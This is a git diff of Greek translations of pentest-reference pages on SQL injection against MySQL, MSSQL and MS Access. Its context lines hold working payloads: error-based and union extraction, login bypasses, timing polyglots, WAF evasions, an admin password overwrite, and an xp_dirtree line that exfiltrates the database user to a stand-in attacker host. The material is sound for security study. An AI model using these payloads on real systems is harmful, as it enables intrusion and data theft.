Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
|
||||
Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών blind injection μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το σύστημα διαχείρισης βάσεων δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
|
||||
|
||||
Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα ένωσης στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε ένωση.
|
||||
Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα union στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης injection βασισμένης σε union.
|
||||
|
||||
Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Exploiting Error based
|
||||
## Εκμετάλλευση Βασισμένη σε Σφάλματα
|
||||
|
||||
Εάν για κάποιο λόγο **δεν μπορείτε** να δείτε την **έξοδο** του **ερωτήματος** αλλά μπορείτε να **δείτε τα μηνύματα σφάλματος**, μπορείτε να κάνετε αυτά τα μηνύματα σφάλματος να **εξάγουν** δεδομένα από τη βάση δεδομένων.\
|
||||
Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε ένωση, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων.
|
||||
Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση Union Based, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
@ -224,7 +224,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Στοιβαγμένες Ερωτήσεις
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να **εκτελέσετε πολλές ερωτήσεις διαδοχικά**. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή καθυστέρηση χρόνου.
|
||||
Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να **εκτελέσετε πολλές ερωτήσεις διαδοχικά**. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.
|
||||
|
||||
**Oracle** δεν υποστηρίζει **στοιβαγμένες ερωτήσεις.** **MySQL, Microsoft** και **PostgreSQL** τις υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -266,7 +266,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Αυτή η ερώτηση αναδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -290,7 +290,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Python σενάριο:
|
||||
Python script:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -307,11 +307,11 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Modify password of existing object/user
|
||||
|
||||
Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "κύριου αντικειμένου"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι:
|
||||
Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "master object"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι:
|
||||
|
||||
- Δημιουργήστε χρήστη με όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα)
|
||||
- Δημιουργήστε έναν χρήστη με όνομα: **admin=**
|
||||
- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή το email) --> Δημιουργήστε χρήστη με όνομα: **admin \[πολλές κενές θέσεις] a**
|
||||
- Δημιουργήστε χρήστη με το όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα)
|
||||
- Δημιουργήστε έναν χρήστη με το όνομα: **admin=**
|
||||
- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλές κενές θέσεις] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
@ -331,11 +331,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή:
|
||||
Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται μια προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
|
||||
Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το email ενός υπάρχοντος διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
@ -379,7 +379,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Η Routed SQL injection είναι μια κατάσταση όπου το ερωτηματικό που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτήματος που μπορεί να εισαχθεί πηγαίνει στο ερώτημα που δίνει έξοδο. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Η Routed SQL injection είναι μια κατάσταση όπου το ερωτηματολόγιο που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτηματολογίου που μπορεί να εισαχθεί πηγαίνει στο ερωτηματολόγιο που δίνει έξοδο. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
```
|
||||
@ -419,7 +419,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
||||
```
|
||||
### Γενικές Παράκαμψεις
|
||||
|
||||
Blacklist χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά
|
||||
Blacklist χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
|
@ -29,7 +29,7 @@
|
||||
|
||||
Δεν υποστηρίζονται.
|
||||
|
||||
### LIMIT
|
||||
### ΟΡΙΟ
|
||||
|
||||
Ο **`LIMIT`** τελεστής **δεν έχει υλοποιηθεί**. Ωστόσο, είναι δυνατόν να περιορίσετε τα αποτελέσματα της ερώτησης SELECT στις **πρώτες N γραμμές του πίνακα χρησιμοποιώντας τον τελεστή `TOP`**. Ο `TOP` δέχεται ως όρισμα έναν ακέραιο, που αντιπροσωπεύει τον αριθμό των γραμμών που θα επιστραφούν.
|
||||
```sql
|
||||
@ -52,7 +52,7 @@
|
||||
|
||||
**MS Access** επιτρέπει **παράξενες συνταγές** όπως **`'1'=2='3'='asd'=false`**. Όπως συνήθως, η SQL injection θα είναι μέσα σε μια **`WHERE`** ρήτρα και μπορούμε να το εκμεταλλευτούμε αυτό.
|
||||
|
||||
Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι ένα **όνομα στήλης είναι username**, και αυτό είναι το πεδίο που θέλετε να **εξάγετε**. Θα μπορούσατε να ελέγξετε τις διαφορετικές απαντήσεις της εφαρμογής ιστού όταν χρησιμοποιείται η τεχνική chaining equals και ενδεχομένως να εξάγετε περιεχόμενο με μια **boolean injection** χρησιμοποιώντας τη **`Mid`** συνάρτηση για να αποκτήσετε υποσυμβολοσειρές.
|
||||
Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι ένα **όνομα στήλης είναι username**, και αυτό είναι το πεδίο που θέλετε να **εξάγετε**. Θα μπορούσατε να ελέγξετε τις διαφορετικές απαντήσεις της εφαρμογής ιστού όταν χρησιμοποιείται η τεχνική chaining equals και ενδεχομένως να εξάγετε περιεχόμενο με μια **boolean injection** χρησιμοποιώντας τη συνάρτηση **`Mid`** για να αποκτήσετε υποσυμβολοσειρές.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
@ -64,7 +64,7 @@ _Μη διστάσετε να το ελέγξετε στο διαδικτυακ
|
||||
|
||||
### Brute-forcing ονόματα πινάκων
|
||||
|
||||
Χρησιμοποιώντας την τεχνική της αλυσίδωσης ίσων, μπορείτε επίσης να **bruteforce ονόματα πινάκων** με κάτι σαν:
|
||||
Χρησιμοποιώντας την τεχνική chaining equals μπορείτε επίσης να **bruteforce ονόματα πινάκων** με κάτι σαν:
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
@ -77,9 +77,9 @@ _Μη διστάσετε να το ελέγξετε στο διαδικτυακ
|
||||
- Sqlmap κοινά ονόματα πινάκων: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Υπάρχει μια άλλη λίστα στο [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
|
||||
### Brute-Forcing Ονόματα Στηλών
|
||||
### Βίαιη Δοκιμή Ονομάτων Στηλών
|
||||
|
||||
Μπορείτε να **brute-force τα τρέχοντα ονόματα στηλών** με το κόλπο της αλυσίδας ίσων με:
|
||||
Μπορείτε να **βίαια δοκιμάσετε τα τρέχοντα ονόματα στηλών** με το κόλπο της αλυσίδας ίσων με:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -99,7 +99,7 @@ _Μη διστάσετε να το ελέγξετε στο διαδικτυακ
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
Σε γενικές γραμμές, το ερώτημα χρησιμοποιεί μια δήλωση “if-then” προκειμένου να ενεργοποιήσει ένα “200 OK” σε περίπτωση επιτυχίας ή ένα “500 Internal Error” αλλιώς. Εκμεταλλευόμενοι τον τελεστή TOP 10, είναι δυνατόν να επιλεγούν τα πρώτα δέκα αποτελέσματα. Η επακόλουθη χρήση του LAST επιτρέπει να εξεταστεί μόνο η 10η πλειάδα. Σε αυτή την τιμή, χρησιμοποιώντας τον τελεστή MID, είναι δυνατόν να πραγματοποιηθεί μια απλή σύγκριση χαρακτήρων. Αλλάζοντας σωστά τον δείκτη του MID και του TOP, μπορούμε να εξάγουμε το περιεχόμενο του πεδίου “username” για όλες τις γραμμές.
|
||||
Σε γενικές γραμμές, το ερώτημα χρησιμοποιεί μια δήλωση “if-then” προκειμένου να ενεργοποιήσει ένα “200 OK” σε περίπτωση επιτυχίας ή ένα “500 Internal Error” διαφορετικά. Εκμεταλλευόμενοι τον τελεστή TOP 10, είναι δυνατόν να επιλεγούν τα πρώτα δέκα αποτελέσματα. Η επακόλουθη χρήση του LAST επιτρέπει να εξεταστεί μόνο η 10η πλειάδα. Σε αυτή την τιμή, χρησιμοποιώντας τον τελεστή MID, είναι δυνατόν να πραγματοποιηθεί μια απλή σύγκριση χαρακτήρων. Αλλάζοντας σωστά τον δείκτη του MID και του TOP, μπορούμε να εξάγουμε το περιεχόμενο του πεδίου “username” για όλες τις γραμμές.
|
||||
|
||||
### Χρόνος Βασισμένος
|
||||
|
||||
@ -116,7 +116,7 @@ IIF((select mid(last(username),1,1) from (select top 10 username from users))='a
|
||||
|
||||
## Καταμέτρηση πινάκων
|
||||
|
||||
Από [**εδώ**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) μπορείτε να δείτε ένα ερώτημα για να πάρετε τα ονόματα των πινάκων:
|
||||
Από [**εδώ**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) μπορείτε να δείτε ένα ερώτημα για να αποκτήσετε τα ονόματα των πινάκων:
|
||||
```sql
|
||||
select MSysObjects.name
|
||||
from MSysObjects
|
||||
|
@ -85,9 +85,9 @@ EXEC sp_helprotect 'fn_trace_gettabe';
|
||||
```
|
||||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||||
|
||||
Οι αποθηκευμένες διαδικασίες όπως το `xp_dirtree`, αν και δεν τεκμηριώνονται επίσημα από τη Microsoft, έχουν περιγραφεί από άλλους διαδικτυακά λόγω της χρησιμότητάς τους σε λειτουργίες δικτύου εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά σε εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα [παραδείγματα](https://www.notsosecure.com/oob-exploitation-cheatsheet/) και [δημοσιεύσεις](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
|
||||
Οι αποθηκευμένες διαδικασίες όπως το `xp_dirtree`, αν και δεν τεκμηριώνονται επίσημα από τη Microsoft, έχουν περιγραφεί από άλλους διαδικτυακά λόγω της χρησιμότητάς τους σε δικτυακές λειτουργίες εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά σε εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα [παραδείγματα](https://www.notsosecure.com/oob-exploitation-cheatsheet/) και [δημοσιεύσεις](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
|
||||
|
||||
Η αποθηκευμένη διαδικασία `xp_dirtree`, για παράδειγμα, χρησιμοποιείται για να κάνει αιτήματα δικτύου, αλλά περιορίζεται μόνο στην TCP θύρα 445. Ο αριθμός της θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από κοινές χρήσεις δικτύου. Η χρήση της αποδεικνύεται στο παρακάτω SQL script:
|
||||
Η αποθηκευμένη διαδικασία `xp_dirtree`, για παράδειγμα, χρησιμοποιείται για να κάνει δικτυακά αιτήματα, αλλά περιορίζεται μόνο στην TCP θύρα 445. Ο αριθμός της θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από δικτυακά κοινά. Η χρήση της αποδεικνύεται στο παρακάτω SQL script:
|
||||
```sql
|
||||
DECLARE @user varchar(100);
|
||||
SELECT @user = (SELECT user);
|
||||
@ -109,7 +109,7 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
||||
|
||||
Η δημιουργία μιας CLR UDF (Common Language Runtime User Defined Function), η οποία είναι κώδικας που έχει συγγραφεί σε οποιαδήποτε γλώσσα .NET και έχει μεταγλωττιστεί σε DLL, για να φορτωθεί μέσα στο MSSQL για την εκτέλεση προσαρμοσμένων συναρτήσεων, είναι μια διαδικασία που απαιτεί πρόσβαση `dbo`. Αυτό σημαίνει ότι είναι συνήθως εφικτό μόνο όταν η σύνδεση στη βάση δεδομένων γίνεται ως `sa` ή με ρόλο Διαχειριστή.
|
||||
|
||||
Ένα έργο Visual Studio και οδηγίες εγκατάστασης παρέχονται σε [αυτό το αποθετήριο Github](https://github.com/infiniteloopltd/SQLHttp) για να διευκολύνουν τη φόρτωση του δυαδικού αρχείου στο MSSQL ως CLR assembly, επιτρέποντας έτσι την εκτέλεση HTTP GET αιτημάτων από μέσα στο MSSQL.
|
||||
Ένα έργο Visual Studio και οδηγίες εγκατάστασης παρέχονται σε αυτό το [Github αποθετήριο](https://github.com/infiniteloopltd/SQLHttp) για να διευκολύνουν τη φόρτωση του δυαδικού αρχείου στο MSSQL ως CLR assembly, επιτρέποντας έτσι την εκτέλεση HTTP GET αιτημάτων από μέσα στο MSSQL.
|
||||
|
||||
Η ουσία αυτής της λειτουργικότητας είναι ενσωματωμένη στο αρχείο `http.cs`, το οποίο χρησιμοποιεί την κλάση `WebClient` για να εκτελέσει ένα GET αίτημα και να ανακτήσει περιεχόμενο όπως απεικονίζεται παρακάτω:
|
||||
```csharp
|
||||
@ -127,7 +127,7 @@ return new SqlString(html);
|
||||
}
|
||||
}
|
||||
```
|
||||
Πριν εκτελέσετε την εντολή SQL `CREATE ASSEMBLY`, συνιστάται να εκτελέσετε το παρακάτω SQL snippet για να προσθέσετε το SHA512 hash της assembly στη λίστα των αξιόπιστων assemblies του διακομιστή (ορατό μέσω `select * from sys.trusted_assemblies;`):
|
||||
Πριν εκτελέσετε την εντολή SQL `CREATE ASSEMBLY`, συνιστάται να εκτελέσετε το παρακάτω SQL snippet για να προσθέσετε το SHA512 hash της assembly στη λίστα των αξιόπιστων assemblies του διακομιστή (ορατή μέσω `select * from sys.trusted_assemblies;`):
|
||||
```sql
|
||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||
```
|
||||
@ -143,7 +143,7 @@ SELECT dbo.http(@url);
|
||||
|
||||
Μια συνοπτική μέθοδος για την εξαγωγή του πλήρους περιεχομένου ενός πίνακα σε μια ενιαία ερώτηση περιλαμβάνει τη χρήση της ρήτρας `FOR JSON`. Αυτή η προσέγγιση είναι πιο συνοπτική από τη χρήση της ρήτρας `FOR XML`, η οποία απαιτεί μια συγκεκριμένη λειτουργία όπως το "raw". Η ρήτρα `FOR JSON` προτιμάται για την συντομία της.
|
||||
|
||||
Ορίστε πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από τη τρέχουσα βάση δεδομένων:
|
||||
Ακολουθεί πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από την τρέχουσα βάση δεδομένων:
|
||||
````sql
|
||||
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
||||
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
|
||||
|
@ -48,11 +48,9 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Ροή
|
||||
|
||||
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το "_**information_schema.tables**_" με το "_**mysql.innodb_table_stats**_**"** (Αυτό θα μπορούσε να είναι χρήσιμο για να παρακάμψετε τα WAFs).
|
||||
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το "_**information_schema.tables**_" με το "_**mysql.innodb_table_stats**_**"** (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε τα WAFs).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
@ -111,11 +109,11 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
Για περισσότερες πληροφορίες παρακαλώ ανατρέξτε σε [αυτή την ανάρτηση στο blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
Για περισσότερες πληροφορίες παρακαλώ ανατρέξτε σε [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
|
||||
### Εναλλακτικές του information_schema
|
||||
|
||||
Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το _**information_schema.tables**_ με το _**mysql.innodb_table_stats**_ ή με το _**sys.x$schema_flattened_keys**_ ή με το **sys.schema_table_statistics**.
|
||||
Θυμηθείτε ότι σε "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το _**information_schema.tables**_ με το _**mysql.innodb_table_stats**_ ή με το _**sys.x$schema_flattened_keys**_ ή με το **sys.schema_table_statistics**
|
||||
|
||||
### MySQLinjection χωρίς ΚΟΜΜΑΤΑ
|
||||
|
||||
@ -125,7 +123,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
### Ανάκτηση τιμών χωρίς το όνομα της στήλης
|
||||
|
||||
Αν σε κάποιο σημείο γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε τα ονόματα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:
|
||||
Αν σε κάποιο σημείο γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε το όνομα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
|
@ -10,13 +10,13 @@
|
||||
|
||||
Η παγκόσμια μεταβλητή `secure_file_priv`, αν δεν έχει οριστεί, προεπιλέγει το `/var/lib/mysql-files/`, περιορίζοντας την πρόσβαση σε αρχεία σε αυτόν τον κατάλογο εκτός αν οριστεί σε κενή συμβολοσειρά (`""`). Αυτή η προσαρμογή απαιτεί τροποποιήσεις στο αρχείο ρυθμίσεων της βάσης δεδομένων ή στις παραμέτρους εκκίνησης.
|
||||
|
||||
Δεδομένου ότι το `secure_file_priv` είναι απενεργοποιημένο (`""`), και υποθέτοντας ότι έχουν παραχωρηθεί οι απαραίτητες άδειες αρχείων και `file_priv`, τα αρχεία εκτός του καθορισμένου καταλόγου μπορούν να διαβαστούν. Ωστόσο, η ικανότητα αυτών των συναρτήσεων να κάνουν δικτυακές κλήσεις εξαρτάται σε μεγάλο βαθμό από το λειτουργικό σύστημα. Σε συστήματα Windows, οι δικτυακές κλήσεις σε UNC διαδρομές είναι εφικτές λόγω της κατανόησης των συμβάσεων ονοματοδοσίας UNC από το λειτουργικό σύστημα, ενδεχομένως οδηγώντας στην εξαγωγή NTLMv2 hashes.
|
||||
Δεδομένου ότι το `secure_file_priv` είναι απενεργοποιημένο (`""`), και υποθέτοντας ότι έχουν παραχωρηθεί οι απαραίτητες άδειες αρχείων και `file_priv`, τα αρχεία εκτός του καθορισμένου καταλόγου μπορούν να διαβαστούν. Ωστόσο, η ικανότητα αυτών των συναρτήσεων να κάνουν δικτυακές κλήσεις εξαρτάται σε μεγάλο βαθμό από το λειτουργικό σύστημα. Σε συστήματα Windows, οι δικτυακές κλήσεις σε UNC διαδρομές είναι εφικτές λόγω της κατανόησης των συμβάσεων ονοματοδοσίας UNC από το λειτουργικό σύστημα, ενδεχομένως οδηγώντας στην εξαγωγή των NTLMv2 hashes.
|
||||
|
||||
Αυτή η μέθοδος SSRF περιορίζεται στην TCP θύρα 445 και δεν επιτρέπει την τροποποίηση του αριθμού της θύρας, αν και μπορεί να χρησιμοποιηθεί για την πρόσβαση σε κοινές διανομές με πλήρεις άδειες ανάγνωσης και, όπως έχει αποδειχθεί σε προηγούμενες έρευνες, για την κλοπή hashes για περαιτέρω εκμετάλλευση.
|
||||
|
||||
### Remote Code Execution (RCE) μέσω User Defined Functions (UDF)
|
||||
|
||||
Οι βάσεις δεδομένων MySQL προσφέρουν τη χρήση User Defined Functions (UDF) από εξωτερικά αρχεία βιβλιοθηκών. Αν αυτές οι βιβλιοθήκες είναι προσβάσιμες εντός συγκεκριμένων καταλόγων ή του `$PATH` του συστήματος, μπορούν να κληθούν από μέσα στη MySQL.
|
||||
Οι βάσεις δεδομένων MySQL προσφέρουν τη χρήση User Defined Functions (UDF) από εξωτερικά αρχεία βιβλιοθηκών. Αν αυτές οι βιβλιοθήκες είναι προσβάσιμες εντός συγκεκριμένων καταλόγων ή του `$PATH` του συστήματος, μπορούν να κληθούν από μέσα από το MySQL.
|
||||
|
||||
